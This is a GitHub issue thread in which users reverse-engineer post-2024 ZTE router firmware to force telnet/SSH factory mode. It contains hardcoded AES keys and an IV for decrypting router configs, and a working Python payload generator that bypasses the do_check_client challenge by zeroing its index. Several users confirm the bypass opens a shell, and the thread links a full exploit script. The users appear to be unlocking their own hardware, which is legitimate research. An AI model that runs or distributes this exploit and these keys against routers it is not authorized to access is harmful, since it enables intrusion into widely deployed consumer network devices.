zte_modem_tools icon indicating copy to clipboard operation
zte_modem_tools copied to clipboard

[Feature] Enabling Telnet on ZTE firmware with post-October 2024 builds

Open longnt2007 opened this issue 8 months ago • 50 comments

Hello,

New firmware from late 2024 (i.e F670L V9.0.11P1N52) begin to use new algorithm that return value re_rand=%d&%d& in step 2 instead newrand=%d so the telnet tool is fail to open.

Please check and add support for new firmware, thank you.

httpd.zip

longnt2007 avatar Mar 07 '25 09:03 longnt2007

Same here with F6600P V9.0.10P25N1, return value looks like

re_rand=1&6653022&ÊVà re_rand=17&5367516&ÊVà re_rand=53&790239&ÊVà

samy18000 avatar Mar 26 '25 22:03 samy18000

I figured this out partially, thank you @longnt2007 for the httpd binary! This was my first time trying to reverse-engineer from binary so it took me a bit.

re_rand is composed of three parts, separated by &, where the first is a random number between 0-59, the second is a random number between 0-8388607, and the third is the device's mac address encoded as text.

The first element should be treated as the same as the old newrand.

There's also a new AES key pool, which I managed to extract using Binary Ninja's SENinja plugin, as it's generated at runtime and I have no access to a rooted router.

[
    0x9c, 0x33, 0x75, 0xd1, 0x1c, 0x42, 0x45, 0x37, 0x18, 0x48, 
    0x91, 0x73, 0x17, 0x45, 0x79, 0x44, 0x43, 0xd7, 0xd5, 0x73, 
    0x33, 0x54, 0x76, 0xd2, 0xc5, 0xf1, 0x2c, 0x4f, 0x7a, 0xba, 
    0x61, 0xd9, 0x5c, 0x69, 0xdf, 0x8c, 0xd2, 0x1c, 0xde, 0x3b, 
    0x35, 0x2d, 0x2f, 0xe1, 0xde, 0x4c, 0x77, 0xf5, 0x1a, 0x65, 
    0xd1, 0xfe, 0x18, 0x43, 0x8e, 0xa7, 0x42, 0x08, 0x04, 0x78, 
    0xd5, 0xe4, 0xf3, 0x34, 0xa4, 0xd3, 0xf2, 0x36, 0x47, 0x6d, 
    0x86, 0x9d, 0x42, 0x65, 0x13, 0x42, 0xdc, 0x42, 0x99, 0x48, 
    0xdc, 0x67, 0x9f, 0x9e, 0xdc, 0x46, 0x37, 0x5f, 0x84, 0x9f, 
    0x6f, 0x76, 0xce, 0x79, 0x4f, 0x49, 
]

After doing these changes, I get a telnet username and password back, but the port doesn't seem to be open.

Perhaps the connection needs to come from a specific IP (or to a specific IP), or it's just been disabled somewhere else. Hope someone else can figure this out as I am stumped.

ovn-is avatar Apr 04 '25 15:04 ovn-is

After doing these changes, I get a telnet username and password back, but the port doesn't seem to be open.

Did you change your MAC address to 00:07:29:55:35:57 ?

longnt2007 avatar Apr 08 '25 16:04 longnt2007

Did you change your MAC address to 00:07:29:55:35:57 ?

I did. From looking at the code, it seems like the unfiltered MAC depends on the router's main NIC MAC, but that code is heavily VM obfuscated and I still haven't been able to get angr finding a solution.

ovn-is avatar Apr 15 '25 17:04 ovn-is

@ovn-is maybe if you can take a look at an unpacked firmware you can find a way in

f6600p v9 unpacked

Also it could be possible to enable telnet via configuration file (config.bin) but we must be able to decrypt and encrypt it again first

samy18000 avatar Apr 15 '25 22:04 samy18000

I'll take a look at that, thanks! I also see port 22 (filtered) in nmap (but not 23) so maybe they switched to ssh? But there's still some filter.

ovn-is avatar Apr 15 '25 22:04 ovn-is

Also it could be possible to enable telnet via configuration file (config.bin) but we must be able to decrypt and encrypt it again first

For decrypt my F671Y and F6601P config, both use same IV key: ZTE%FN$GponNJ025 and AES key is combine from serial + mac address, i.e serial is ZTEG12345678 and mac is 01:02:03:04:05:06 then AES key is 12345678060504030201. If you decrypted config by zte-config-utility, you will see that port 23 always closed by default, need to set PortControl row 3 PortEnable to 1 to enable port 23.

<Tbl name="PortControl" RowCount="16"> <Row No="3"> <DM name="ViewName" val="IGD.PortControl4" defval="IGD.PortControl4"/> <DM name="PortValue" val="23" defval="23"/> <DM name="IPv6PortValue" val="0" defval="0"/> <DM name="PortEnable" val="0" defval="0"/> <DM name="ServName" val="TELNET" defval="TELNET"/>
<DM name="Protocol" val="TCP" defval="TCP"/>
<DM name="ServIPMode" val="3" defval="3"/> <DM name="PortLANEnable" val="1" defval="1"/> </Row>

longnt2007 avatar Apr 16 '25 04:04 longnt2007

After doing these changes, I get a telnet username and password back, but the port doesn't seem to be open.

Perhaps the connection needs to come from a specific IP (or to a specific IP), or it's just been disabled somewhere else. Hope someone else can figure this out as I am stumped.

I have change AES key to your key and also get username and password Image

I've tried login but that username/password doesn't work (enable port 23 by upload config). But I can login by account from TelnetCfg Image

Here is my config and decrypted xml from it. If you need anything to debug in real device just tell me. config.zip

longnt2007 avatar Apr 16 '25 05:04 longnt2007

Congrats ! Glad you did it

I'm still struggling with my decoding my configuration file (payload type 5)

samy18000 avatar Apr 16 '25 13:04 samy18000

Is this the same of https://github.com/stich86/zteOnu ?

mirh avatar Apr 28 '25 13:04 mirh

Can anyone help me with my F6600p decoding the config please. Here is the config, CSPD and dataprotocol files. Can get any file you might need thanks so much!

firmware_files.zip

Blinko1987 avatar May 03 '25 03:05 Blinko1987

Can anyone help me with my F6600p decoding the config please. Here is the config, CSPD and dataprotocol files. Can get any file you might need thanks so much!

firmware_files.zip

Your device is F6107A (AIS version of F6600p) so the key to decode config is AISDefAESCBCKey=H6107AV10Key20102021 DefAESCBCIV=ZTE%FN$GponNJ025

config-decrypted.zip

longnt2007 avatar May 03 '25 11:05 longnt2007

Can anyone help me with my F6600p decoding the config please. Here is the config, CSPD and dataprotocol files. Can get any file you might need thanks so much! firmware_files.zip

Your device is F6107A (AIS version of F6600p) so the key to decode config is AISDefAESCBCKey=H6107AV10Key20102021 DefAESCBCIV=ZTE%FN$GponNJ025

config-decrypted.zip

Your awesome! Thanks!!

Blinko1987 avatar May 03 '25 12:05 Blinko1987

If it's not too big of an ask could you share how you found the key and the decryption command you used?

Blinko1987 avatar May 03 '25 14:05 Blinko1987

If it's not too big of an ask could you share how you found the key and the decryption command you used?

I just follow the guide here to get AES key and IV for decrypt hardcode file.

2b8 recoded magic: :7d8d7:83;6ee76:f6201bv9.3  
294 decoded IV: d34fhh884;e674i73g;6i4ff8h:f5df6

It's lucky when my F6601p firmware still left some code of F6600p and I saw these keys for F6107A. hardcodefile.zip

After got keys, use zte-config-utility, edit file examples\auto.py, add these keys to KNOWN_KEYPAIRS then call python examples\auto.py config.bin config-decrypted.xml and done.

longnt2007 avatar May 03 '25 14:05 longnt2007

I'm on a F660 device with firmware 9.2 with no telnet access (thus unable to obtain config files?). Any ideas as to how I could go about gaining access

QuidLicker avatar May 03 '25 15:05 QuidLicker

I don't think this should be closed, as far as I know the tool still can't get into factory mode on new firmwares.

tiagoad avatar May 03 '25 18:05 tiagoad

I don't think this should be closed, as far as I know the tool still can't get into factory mode on new firmwares.

This tool is free and the author maybe not maintenance it anymore so I've closed it. AFAIK the new firmware already has a tool to open telnet but it's available on right (cn) forum and you need to pay a little fee to use it, or just waiting someone crack it again.

longnt2007 avatar May 04 '25 02:05 longnt2007

I have, I think, figured out the broad strokes of how to trigger it but I don't have access to any devices to test. Pseudo-code for do_check_client is approximately:

do_check_client: # int do_check_client(int* client_data, int client_data_word_len, u8* remote_mac_address, int calculated_idx, u8* local_mac_address)
block_0000:
 [mem+0x28].4 = 0x0
 [(mem+0x2c +.4 ((0x1 *.4 0x0) +.4 0x0))].1 = 0x0
 [mem+0x22e].4 = 0x1
 goto block_0044

block_0044: # refs: 0x003f, 0x0098
 if ([mem+0x22e].4 >= 0x201) goto block_005a else goto block_0055

block_0055: # refs: 0x0050
 goto block_005f

block_005a: # refs: 0x0050
 goto block_00a2

block_005f: # refs: 0x0055
 [(mem+0x2c +.4 ((0x1 *.4 [mem+0x22e].4) +.4 0x0))].1 = 0x0
 [mem+0x22e].4 = ([mem+0x22e].4 +.4 0x1)
 goto block_0044

block_00a2: # refs: 0x005a
 [mem+0x234].4 = 0x1687
 [mem+0x238].4 = 0x7561
 [mem+0x240].4 = mem+0x248
 [mem+0x250].4 = [&client_data].4
 memcpy([mem+0x240].4, [mem+0x250].4, 0x4)
 [mem+0x258].4 = [mem+0x248].4
 [mem+0x25c].4 = [mem+0x234].4
 [mem+0x260].4 = [mem+0x238].4
 [mem+0x264].4 = candp([mem+0x258].4, [mem+0x25c].4, [mem+0x260].4)
 [mem+0x248].4 = [mem+0x264].4
 [mem+0x268].4 = mem+0x270
 [mem+0x278].4 = ([&client_data].4 +.4 (0x1 *.4 0x4))
 memcpy([mem+0x268].4, [mem+0x278].4, 4)
 [mem+0x280].4 = [mem+0x270].4
 [mem+0x284].4 = [mem+0x234].4
 [mem+0x288].4 = [mem+0x238].4
 [mem+0x28c].4 = candp([mem+0x280].4, [mem+0x284].4, [mem+0x288].4)
 [mem+0x270].4 = [mem+0x28c].4
 [mem+0x290].4 = (([mem+0x248].4 *.4 [&calculated_idx].4) +.4 [mem+0x270].4)
 [mem+0x298].4 = mem+0x248
 [mem+0x2a0].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 0x2)))
 memcpy([mem+0x298].4, [mem+0x2a0].4, 4)
 [mem+0x2a8].4 = [mem+0x248].4
 [mem+0x2ac].4 = [mem+0x234].4
 [mem+0x2b0].4 = [mem+0x238].4
 [mem+0x2b4].4 = candp([mem+0x2a8].4, [mem+0x2ac].4, [mem+0x2b0].4)
 [mem+0x248].4 = [mem+0x2b4].4
 [mem+0x2b8].4 = mem+0x270
 [mem+0x2c0].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 0x3)))
 memcpy([mem+0x2b8].4, [mem+0x2c0].4, 4)
 [mem+0x2c8].4 = [mem+0x270].4
 [mem+0x2cc].4 = [mem+0x234].4
 [mem+0x2d0].4 = [mem+0x238].4
 [mem+0x2d4].4 = candp([mem+0x2c8].4, [mem+0x2cc].4, [mem+0x2d0].4)
 [mem+0x270].4 = [mem+0x2d4].4
 [mem+0x2d8].4 = (([mem+0x248].4 *.4 [&calculated_idx].4) +.4 [mem+0x270].4)
 [&client_data].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 0x4)))
 [&client_data_word_len].4 = ([&client_data_word_len].4 -.4 0x4)
 [mem+0x28].4 = 0x0
 goto block_02d0

block_02d0: # refs: 0x02cb, 0x0394
 if ([mem+0x28].4 < 0x6) goto block_02eb else goto block_02e1

block_02e1: # refs: 0x02dc
 goto block_02e6

block_02e6: # refs: 0x02e1
 goto block_039e

block_02eb: # refs: 0x02dc
 [mem+0x2e0].4 = mem+0x248
 [mem+0x2e8].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 [mem+0x28].4)))
 memcpy([mem+0x2e0].4, [mem+0x2e8].4, 4)
 [mem+0x2f0].4 = [mem+0x248].4
 [mem+0x2f4].4 = [mem+0x290].4
 [mem+0x2f8].4 = [mem+0x2d8].4
 [mem+0x300].4 = candp([mem+0x2f0].4, [mem+0x2f4].4, [mem+0x2f8].4)
 [mem+0x2fc].4 = [mem+0x300].4
 [(mem+0x2c +.4 ((0x1 *.4 [mem+0x28].4) +.4 0x0))].1 = [mem+0x2fc].4
 [mem+0x28].4 = ([mem+0x28].4 +.4 0x1)
 goto block_02d0

block_039e: # refs: 0x02e6
 [mem+0x308].4 = (mem+0x2c +.4 ((0x1 *.4 0x0) +.4 0x0))
 [mem+0x310].4 = [&local_mac_address].4
 [mem+0x31c].4 = memcmp([mem+0x308].4, [mem+0x310].4, 6)
 [mem+0x318].4 = [mem+0x31c].4
 goto block_03e9

block_03e9: # refs: 0x03e4
 if (0x0 != [mem+0x318].4) goto block_03ff else goto block_03fa

block_03fa: # refs: 0x03f5
 goto block_0414

block_03ff: # refs: 0x03f5
 [mem+0x320].4 = 0x0
 goto block_040f

block_040f: # refs: 0x040a
 goto block_05d4

block_0414: # refs: 0x03fa
 [mem+0x28].4 = 0x6
 goto block_0424

block_0424: # refs: 0x041f, 0x05ba
 if ([mem+0x28].4 < [&client_data_word_len].4) goto block_0441 else goto block_0437

block_0437: # refs: 0x0432
 goto block_043c

block_043c: # refs: 0x0437
 goto block_05c4

block_0441: # refs: 0x0432
 [mem+0x328].4 = mem+0x248
 [mem+0x330].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 [mem+0x28].4)))
 memcpy([mem+0x328].4, [mem+0x330].4, 4)
 [mem+0x338].4 = [mem+0x248].4
 [mem+0x33c].4 = [mem+0x290].4
 [mem+0x340].4 = [mem+0x2d8].4
 [mem+0x348].4 = candp([mem+0x338].4, [mem+0x33c].4, [mem+0x340].4)
 [mem+0x344].4 = [mem+0x348].4
 [(mem+0x2c +.4 ((0x1 *.4 [mem+0x28].4) +.4 0x0))].1 = [mem+0x344].4
 goto block_04dd

block_04dd: # refs: 0x04d8
 if (0x6 < [mem+0x28].4) goto block_04f3 else goto block_04ee

block_04ee: # refs: 0x04e9
 goto block_05a8

block_04f3: # refs: 0x04e9
 if (0x0 == ([mem+0x28].4 %.4 0x6)) goto block_050f else goto block_050a

block_050a: # refs: 0x0505
 goto block_05a8

block_050f: # refs: 0x0505
 [mem+0x350].4 = (((mem+0x2c +.4 ((0x1 *.4 0x0) +.4 0x0)) +.4 (0x1 *.4 [mem+0x28].4)) -.4 (0x1 *.4 0x6))
 [mem+0x358].4 = [&remote_mac_address].4
 [mem+0x364].4 = memcmp([mem+0x350].4, [mem+0x358].4, 6)
 [mem+0x360].4 = [mem+0x364].4
 goto block_057d

block_057d: # refs: 0x0578
 if (0x0 == [mem+0x360].4) goto block_0593 else goto block_058e

block_058e: # refs: 0x0589
 goto block_05a8

block_0593: # refs: 0x0589
 [mem+0x320].4 = 0x1
 goto block_05a3

block_05a3: # refs: 0x059e
 goto block_05d4

block_05a8: # refs: 0x04ee, 0x050a, 0x058e
 [mem+0x28].4 = ([mem+0x28].4 +.4 0x1)
 goto block_0424

block_05c4: # refs: 0x043c
 [mem+0x320].4 = 0x0
 goto block_05d4

block_05d4: # refs: 0x040f, 0x05a3, 0x05cf
 return [mem+0x320].4

candp appears to be nothing more than a lightly-obfuscated modular exponentiation routine.

From there, transforming do_check_client to what I believe is equivalent Python:

# should be a faithful implementation of what is implemented in the vm bytecode for
# do_check_client in the httpd binary.
def verify_do_check_client(client_data: list[int], remote_mac_address: bytes,
                           calculated_idx: int, local_mac_address: bytes) -> int:
    processed_word0 = pow(client_data[0], 0x1687, 0x7561)
    processed_word1 = pow(client_data[1], 0x1687, 0x7561)
    processed_word2 = pow(client_data[2], 0x1687, 0x7561)
    processed_word3 = pow(client_data[3], 0x1687, 0x7561)

    derived_exponent = (processed_word0 * calculated_idx) + processed_word1
    derived_modulus = (processed_word2 * calculated_idx) + processed_word3

    #print(f"Derived exponent: {derived_exponent}, derived modulus: {derived_modulus}")

    client_data = client_data[4:]
    remaining_word_len = len(client_data)
    work_buffer = [0] * len(client_data)

    if remaining_word_len < 6:
        print(f"Warning: Remaining client_data words are less than 6")
        return 0

    for i in range(6):
        work_buffer[i] = pow(client_data[i], derived_exponent, derived_modulus) & 0xff

    calculated_local_mac = bytes(work_buffer[:6])
    if calculated_local_mac != local_mac_address:
        print(f"local mismatch {calculated_local_mac} != {local_mac_address}")
        return 0

    for i in range(6, remaining_word_len):
        work_buffer[i] = pow(client_data[i], derived_exponent, derived_modulus) & 0xff

        if i >= 6 and (i + 1) % 6 == 0:
            calculated_remote_mac = bytes(work_buffer[ i-5 : i+1 ])
            if calculated_remote_mac != remote_mac_address:
                print(f"local mismatch {calculated_remote_mac} != {remote_mac_address}")
                continue
            return 1

    return 0

There seem to be a variety of opportunities here, namely that calculated_idx looks like it can be zeroed out based on input we can provide in the first 4 integers of the info= parameter. Tying this together...

#!/usr/bin/env python3
import itertools

# should be a faithful implementation of what is implemented in the vm bytecode for
# do_check_client in the httpd binary.
def verify_do_check_client(client_data: list[int], remote_mac_address: bytes,
                           calculated_idx: int, local_mac_address: bytes) -> int:
    # as above

def int_alphabet_generator(alphabet: str, integer_length: int):
    alphabet_bytes = alphabet.encode('utf-8')
    for combination in itertools.product(alphabet_bytes, repeat=integer_length):
        yield int.from_bytes(bytes(combination), byteorder='little')

def evaluate_alphabet(alphabet: str, exponent: int, modulus: int, value_map = lambda x: x):
    """
    Determine if a proposed alphabet of payload bytes is still able to encode all values that
    a payload with no restrictions could represent.

    value_map can be used to to make the search faster by limiting the search space.

    Returns a mapping of desired inputs and the inputs that produce them (we're just
    going to brute force this because of the alphabet constraints)
    """

    # we don't care about it being _actually_ complete, we just want it to not
    # be worse than an unrestricted alphabet
    unrestricted_possible_values = set()
    for i in range(modulus):
        unrestricted_possible_values.add(value_map(pow(i, exponent, modulus)))
    
    possible_values = dict()
    for num in int_alphabet_generator(alphabet, 4):
        result = value_map(pow(num, exponent, modulus))
        if result not in possible_values:
            possible_values[result] = num
            if len(possible_values) == len(unrestricted_possible_values):
                # no point continuing, all possible values now represented
                return possible_values

    assert False, f"Not all possible values found within modulus {len(possible_values)} / {len(unrestricted_possible_values)}"

# some subset of chars it should be safe to use in the urlparam
alphabet = "lmaoztebcdfghijknpqrsuvwxy"

# used for the first 4 entries in client_data, before a new exponent and
# modulus are derived. figure out all representable values so we can use
# this when we craft the first 4 integers of payload which let us control
# the derived values used for the rest of the decoding
header_encoding_map = evaluate_alphabet(alphabet, 0x1687, 0x7561)

# since it turns out we have absolute control over the exponent and modulus,
# can just precalculate. we also only care about the lower byte of the encoded
# values, as do_check_client truncates the modular exponentation result when
# calculating mac address bytes. so once we have all possible lower bytes, we're
# done.
mac_encoding_map = evaluate_alphabet(alphabet, 0x1, 0x1687, lambda x: x & 0xff)

def create_payload_array(local_mac, remote_mac, _calculated_idx: int):
    payload = []

    # new exponent/modulus will be derived based on our input and this
    # index which is selected randomly and given to us. we have to work
    # with a exponent of the form:
    #
    # new_exponent = (pow(input1, 0x1687, 0x7561) * calculated_idx) + pow(input2, 0x1687, 0x7561)
    # new_modulus = (pow(input3, 0x1687, 0x7561) * calculated_idx) + pow(input4, 0x1687, 0x7561)
    #
    # we're going to take advantage of the multiply, and pick input1 and input3 such that
    # calculated_idx is multiplied by 0, making it irrelevant to payload generation. in other
    # words, regardless of challenge value we're going to be able to encode mac addresses
    # using an exponent of 1 and a modulus of 0x1687.

    # exponent
    payload.append(header_encoding_map[0])      # input1; cancels out calculated_idx
    payload.append(header_encoding_map[1])      # input2; selected exponent

    # modulus
    payload.append(header_encoding_map[0])      # input3; cancels out calculated_idx
    payload.append(header_encoding_map[0x1687]) # input4; selected modulus

    # since we've now gotten control of the exponent and modulus, we just staple the 
    # local and remote mac addresses to the payload. the second copy of the remote mac
    # is probably unnecessary, but it also shouldn't hurt and reduces risk of me not
    # being able to test on a device myself.
    payload.extend(map(mac_encoding_map.__getitem__, local_mac + remote_mac + remote_mac))

    return payload

# ensure resiliency over possible values, ostensibly we should have to
# derive what calculated_idx (iRsaIndex in the binary) from some info they
# back to us earlier in the handshake process.
#
# edit: lol nevermind, they'll multiply the challenge by a value we control
# and can make 0 so uh, off to irrelevancy this bit goes.
#for calculated_idx in range(1, 0x2000):

def parse_mac(input_str: str) -> bytes:
    raw_bytes = bytes.fromhex(input_str.replace(":", ""))
    assert len(raw_bytes) == 6, f"invalid mac: {input_str}"
    return raw_bytes

if __name__ == "__main__":
    import argparse

    parser = argparse.ArgumentParser()

    parser.add_argument("--calculated_idx", type=int, default=1234)
    parser.add_argument("local_mac", type=parse_mac)
    parser.add_argument("remote_mac", type=parse_mac)

    a = parser.parse_args()

    payload = create_payload_array(a.local_mac, a.remote_mac, a.calculated_idx)
    if not verify_do_check_client(payload, a.remote_mac, 1234, a.local_mac):
        print("we are sad :(")

    print(f"calculated payload for local mac {a.local_mac.hex(':')} and remote mac {a.remote_mac.hex(':')}")
    print(f"info={len(payload)}|{b''.join(map(lambda x: x.to_bytes(4, 'little'), payload)).decode('utf-8')}")

Example:

calculated payload for local mac 11:22:33:44:55:66 and remote mac 54:32:21:12:34:45
info=22|apjdapalapjdafpemlbolledllsfmlelllfdllzsllqfmlbllltvllqallltllzkllqfmlbllltvllqallltllzk

I think you still need to go through the rest of the state machine as normal, including sending up the value you have to pick when visiting SendSq.gch (in order to get g_iRsaIndex populated -- this is what gets passed in to do_check_client and even though this generator cancels it out I bet it does other things that matter.

rssor avatar May 05 '25 00:05 rssor

@rssor I've tried to add info as you suggest local mac is device mac, remote mac is PC mac.

calculated payload for idx 4321 local mac e8:43:68:1b:f7:e8 and remote mac 00:07:29:55:35:57
info=22|apjdapalapjdafpellanllelllbrllbnmlehllanlltnlluglllullfdllarllyflltnlluglllullfdllarllyf

After logged to device, I've set log to debug

sendcmd HTTPD -l 8

then redir to telnet window

redir printf

Here is log from device when calling open telnet with new AES key and info

log_httpd.txt

longnt2007 avatar May 05 '25 16:05 longnt2007

It looks like you're sending the info in the wrong step, this parameter goes in the SendInfo request (sorry, not clear on my part, I just mentioned SendSq because I saw that that request set up something relevant later, not because that's where you send the info) -- I got confirmation that the script was able to work to trigger the backdoor this morning.

rssor avatar May 05 '25 16:05 rssor

It looks like you're sending the info in the wrong step, this parameter goes in the SendInfo request (sorry, not clear on my part, I just mentioned SendSq because I saw that that request set up something relevant later, not because that's where you send the info) -- I got confirmation that the script was able to work to trigger the backdoor this morning.

After move info value from SendSq to SendInfo, it's now working. I can confirm the telnet account now changed from admin (production mode) to new random user value (dev mode).

log_httpd_ok.txt

longnt2007 avatar May 05 '25 17:05 longnt2007

Here's my code for doing the whole thing: https://gist.github.com/ovn-is/d0331f781f5468dfaf107765fe095d85 Thank you so much for @rssor for figuring this out.

I can confirm "telnet" (it's actually SSH) gets a random user and password each time.

ovn-is avatar May 05 '25 17:05 ovn-is

WONDERFUL, amazing work rssor

I can confirm it works too

2025-05-05T18:18:29Z telnet: [Telnet Start] Telnet Service Start Success!
2025-05-05T18:19:06Z telnet: [Telnet Login],IP<192.168.1.4>,Mode<2>.
2025-05-05T18:19:06Z telnet: check user ok, will exec shell...

samy18000 avatar May 05 '25 17:05 samy18000

Congrats!! Looks like you guys are cooking

QuidLicker avatar May 05 '25 17:05 QuidLicker

A bit of help ======= STEP 4 ======= --> POST /webFacEntry "CheckLoginAuth.gch?version50&user=user&pass=user" <-- 401 38 bytes (encrypted) Traceback (most recent call last): File "C:\Users\Quid\Desktop\f660\pwn.py", line 262, in main() File "C:\Users\Quid\Desktop\f660\pwn.py", line 231, in main raise Exception(f"expected 200. got {res.status_code}") Exception: expected 200. got 401

Edit: never mind; changed the username & pass in the script and I telnet is open & I got some random credentials for it. Woo-hoo!

QuidLicker avatar May 06 '25 08:05 QuidLicker

Can I ask what is going on here? root@jake:/home/jake/AIS_FIBER/firmware# python pwn.py Traceback (most recent call last): File "/home/jake/AIS_FIBER/firmware/pwn.py", line 8, in from rss import create_payload_array, verify_do_check_client, parse_mac ImportError: cannot import name 'create_payload_array' from 'rss' (/usr/local/lib/python3.10/dist-packages/rss/init.py) root@jake:/home/jake/AIS_FIBER/firmware#

Blinko1987 avatar May 06 '25 08:05 Blinko1987

I'm not sure, but it looks like it can't import the function from the package rsspwn (https://github.com/douniwan5788/zte_modem_tools/issues/20#issuecomment-2849666205) which you should put in the same directory & try again

QuidLicker avatar May 06 '25 08:05 QuidLicker

ok thanks now getting a different newrand value everytime i run the script?

======= RESET =======
--> POST /webFac "SendSq.gch"
======= STEP 1 =======
--> POST /webFac "RequestFactoryMode.gch"
======= STEP 2 =======
--> POST "SendSq.gch?rand=0"
<-- 200 10 bytes (newrand=50)
Traceback (most recent call last):
  File "/home/jake/AIS_FIBER/firmware/zte-config-utility/pwn.py", line 191, in <module>
    main()
  File "/home/jake/AIS_FIBER/firmware/zte-config-utility/pwn.py", line 85, in main
    raise Exception(f"expected re_rand, got {res.text}")
Exception: expected re_rand, got newrand=50
jake@jake:~/AIS_FIBER/firmware/zte-config-utility$ 

Blinko1987 avatar May 06 '25 09:05 Blinko1987

I did not face this issue, but it's posting data to your device & storing the result (in your case the result is "newrand=50", which it shouldn't be). Must be something wrong in the way you're supplying the arguments for the post. Make sure there isn't something out of sorts in these lines in pwn.py lines 10, 13, 160, 162, 164. especially 10 & 12 (your device's ip & computer's mac)

QuidLicker avatar May 06 '25 09:05 QuidLicker